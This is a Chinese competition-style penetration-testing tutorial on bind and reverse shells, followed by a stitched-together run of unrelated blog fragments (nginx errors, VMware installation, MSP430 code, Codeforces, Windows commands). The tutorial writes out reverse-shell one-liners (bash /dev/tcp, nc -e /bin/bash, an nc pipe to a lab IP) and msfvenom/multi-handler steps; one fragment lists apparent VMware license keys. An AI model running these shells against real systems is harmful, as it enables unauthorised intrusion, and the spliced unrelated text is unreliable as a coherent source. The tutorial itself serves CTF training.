技术标签: 中职网络空间安全知识体系 网络安全
渗透过程中第一步也是最重要的一步就是拿到shell了,在没有常见简单的漏洞(如永恒之蓝或笑脸漏洞 )时,必须从别的地方入手。
若赛题难一点的话通常出漏洞的地方都不会让你那么简单的拿到一个shell,最多只能拿到一个命令执行环境(如web的命令注入或[mssql,低权限下的xp_cmdshell])。没有交互式的shell对后期的提权有着挺大麻烦
本文主要探讨的是实战渗透中正向和反向shell的用法及技巧,包括linux和windows(不包含免杀,毕竟比赛也没有),以及有无防火墙的情况
这两种shell的意思和基础百度都可以找到,所以本文不再赘述,只对使用技巧和场合等进行说明
正向shell是指攻击机主动连接靶机,并取得shell。通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash或cmd(后文简称shell),执行结果再丢给攻击机。这套流程中有两个关键点
先说第一点,当防火墙开启时,除非有未过滤且未被占用的端口,简单来说就是nmap扫出来是close的端口,不然还真没办法,除非权限高到能关闭防火墙;或者题目环境极其特殊,比如防火墙是存在某种能被绕过的规则的(比如放行某个ip,或某个源端口)。但据我所知没有,所以先不考虑特殊情况。
如果看到开放了防火墙又没有可利用的close端口的,直接就给正向shell下死刑即可
第二点,如何绑一个正向shell在靶机上,通常有以下几种方法
先来看nc,这里以centos7(内核号3.10.0-1127)为例,先进行基本扫描
仅开放80端口,为方便演示实际上80端口是个webshell,我们直接利用
已经可以执行命令,这时尝试用nc来绑定正向shell
运行之后发现网页卡顿了,在转圈圈。此时回去再次nmap扫描看看结果
可以看到开放了4444端口,这个就是我们绑定的正向shell了
注意这里不能用-sT(TCP完整扫描)参数,用了的话连了又断这个shell就没了
连接这个shell的方法也很简单,直接nc过去连即可
至此取shell了,可以开始提权了。
windows没有nc,因此无法使用这种方法。不过有方法上传文件时,可以上传个nc.exe上去这样windows也可以用这种方法了
nc.exe在kali里面会有
接下来是msfvenom生成木马的方法
这个是linux的,x86是因为兼容,若实战不行再考虑改成x64
然后想办法把这个马上传上去,一般可用nc/curl/wget等各类方法,根据个人喜欢即可
通用有777的文件夹/tmp /opt,建议/opt
记得先授权下
然后运行即可
nc直接连!是不行的,会直接断掉
这也是一个缺点,msf生成的payload也得用msf来打,具体就是用exploit/multi/handler模块,选对应的payload和参数就行了
windows也是同样的操作,就是模块换成了windows/shell/bind_tcp,唯一的难点是windows咋传文件?这个后续的文章会讲到
反向shell就是靶机带着shell来连攻击机,好处显而易见就是不用担心防火墙的问题了,当然也不是没有缺点。缺点就是攻击机的IP必须能支持靶机的主动寻址。举个例子如攻击机是内网ip或经过了NAT,靶机是公网IP,即使取得了命令执行权限靶机也无法将shell弹过来,这是因网络环境的问题。
好在比赛环境没有这么的复杂,通常做到以下两点就行了
然后就可以开开心心的开反弹shell了,反弹shell常用的方法和上文正向shell中提到的一样,就是linux多了个bash反弹略有不同。
先来看bash反弹,读者应该都不陌生,这里讲下关键点
bash -i>& /dev/tcp/攻击机ip/攻击机监听port 0>&1
这句话有时候起不了作用,第一个就是webshell时没做url编码,正确的格式应该如下所示
bash%20-i>%26%20/dev/tcp/攻击机ip/攻击机port%200>%261
%20浏览器应该会自动补上,注意下%26即可。
第二种情况是目标系统的shell默认不是bash(也不知道这么说对不对),所以在这句前需要加上bash -c 来包裹,如下
bash -c 'bash -i>& /dev/tcp/攻击机ip/攻击机port 0>&1'
最常见的例子就是kali的zsh,可以尝试一下
明显第二句没有报错
接下来是nc,nc的反弹shell必须依靠-e才可以进行
nc -e /bin/bash 攻击机ip 攻击机port
实际上有的时候没有-e 但防火墙关闭时,可以结合正向shell构建一个反弹shell,不过一般是ubuntu和debian系统才行
nc -l 4444|bash|nc 192.168.106.133 5555
这句里的管道符相当于-e,这里我直接用的kali演示(kali内核基于debian的)
需要提前监听好自己的5555端口,因为这命令一执行他就来连你了。
这种方法有点奇妙就是一个终端输入命令另一个终端弹结果。而且严格意义来说算是正向shell,可以理解为正向shell的nc没-e时的快速利用方式
然后是msfvenom生成的木马,这里跟正向shell的步骤基本一样的所以也不赘述了,模块变成了linux/shell/reverse_tcp和windows/shell/reverse_tcp
综上所述,正向和反弹shell可以算是各有优劣…可能没看出来优劣在哪,这里列一下我的评价
所以具体用哪种shell,得联系实战场景,通常选用顺手的和方便的即可啦
环境准备首先要确保你的windows系统已经安装并配置了vscode以实现远程调试服务器的代码。如果没有,请参考:使用vscode在本地windows10系统远程调制ubuntu系统的python代码在这个基础上,再继续安装Xming客户端。具体安装方法如下:下载Xming,我使用的是这个连接:Xming运行exe安装程序这里自定义一下安装路径也行,无所谓。因为我们在配置vscode的时候已经安装好ssh了,这里不再安装了安装完之后再进行...
nginx配置了反向代理,访问时却报404错误.查看nginx日志,发现如下错误:2021/12/27 17:17:11 [crit] 126352#126352: *2 connect() to 127.0.0.1:8090 failed (13: Permission denied) while connecting to upstream, client: 192.168.4.197, server: _, request: “POST /user/login HTTP/1.1”, upstre
vMware的安装与卸载下载安装包vmware workstation 12首先先关闭本机的防火墙找到下载完毕的vmware安装包 鼠标右击以管理员身份运行选择安装位置取消勾选更新和维护创建快捷方式和开机启动安装完毕以后点击许可证输入注册码## VMware Workstation v12 for Windows 5A02H-AU243-TZJ49-GTC7K-3C61N VF5XA-FNDDJ-085GZ-4NXZ9-N20E6UC5MR-8NE16-H81WY-R7QG
前言搭这个博客主要是动动我那个吃灰的服务器,顺便熟悉熟悉linux。配置LNMP还可以直接下载一套安装包,不过我采用一个个配置的方式其中,nginx是一个涨姿势点。核心难点在于nginx的配置以及搭配php的配置,由于之前在服务器还利用snap搭了nextcloud,造成了80端口的冲突,本来是想在nginx这边修改端口的,奈何语法不够熟练,贪图方便直接修改了nextcloud那边的端口了。后卡得比较久的地方是出现502的错误,原因是php和nginx配置的unix域套接字不一致,因为根目录和var目
制作下载老毛桃,我是下载的LaoMaoTao_v9.5_1904.zip关闭杀毒软件和QQ等。解压,管理员权限运行老毛桃。U盘格式化。把文件系统格式设置为下图一致的,如NTFS,然后不要勾选快速格式化。这样格式化会很慢,等一会儿。bug:快速格式化之后,初始化U盘时报错,制作时提示UD区分区失败。下面个性设置-支持我们里去掉几个勾选,然后一键制作。使用制作完插入主机,f12进入,找修改密码程序即可。把新密码留空就可以擦除密码了。...
MSP430G2553 测量小车速度,并简单调速需要了解MSP430系列的GPIO,TIMERA,UART相关的知识涉及内容:PWM输出配置,TIMER A 的捕捉/比较寄存器的输入捕捉配置,串口通信的配置,系统时钟的配置STEP 1 测量小车速度的方法公式:v = s/t;s,就是轮子周长;t就是中断周期PREPARE 1 小车橡胶轮子参数:周长:C=2*pi*R=pi*D=20.41975cm;总共20个洞。1.0209875cm/洞每穿过一个洞,产生一个中
云计算基础架构实施要经历三个阶段:第一阶段:一是规划,二是准备在规划方面应首要注意两点,一是明确企业实施云计算的目的,二是确保最高管理层的参与。从云计算整个基础架构来看,...
庖丁解牛分词之自定义词库[自定义词典] 发现很久很久没更新了,尤其是这个模块,也就好久没进步了!学习如逆水行舟,不进则退!趁着还没到白首之际,应该多学习。首先,还是先贴出来参考来源,毕竟非原创。(1)、http://blog.csdn.net/askpp/archive/2009/09/08/4532355.aspx(2)、http://qipei.javaeye.com...
反选全选中的 if (!j_tbs[i].checked) 问题
package com.common.utils;import java.io.IOException;import java.io.UnsupportedEncodingException;import java.net.URI;import java.net.URISyntaxException;import java.util.ArrayList;import java.util.List;...
题目不想解释题目 累了题目链接:https://codeforces.ml/contest/1382/problem/D思路每一个数字(a[i]) 找到它后面第一个大于它的数字(a[j])则[i~j-1]一定在一起 将其存为一个小块 把全部都分成一个小块然后01背包就好了代码#include<cstdio>#include<cstring>#include<cmath>#include<cstdlib>#include<cctyp
来自:http://blog.csdn.net/blog51/archive/2006/09/18/1236425.aspx net view-------显示域列表、计算机列表或指定计算机的共winver---------检查Windows版本wmimgmt.msc----打开windows管理体系结构wupdmgr--------windows更新程序wscript--------wind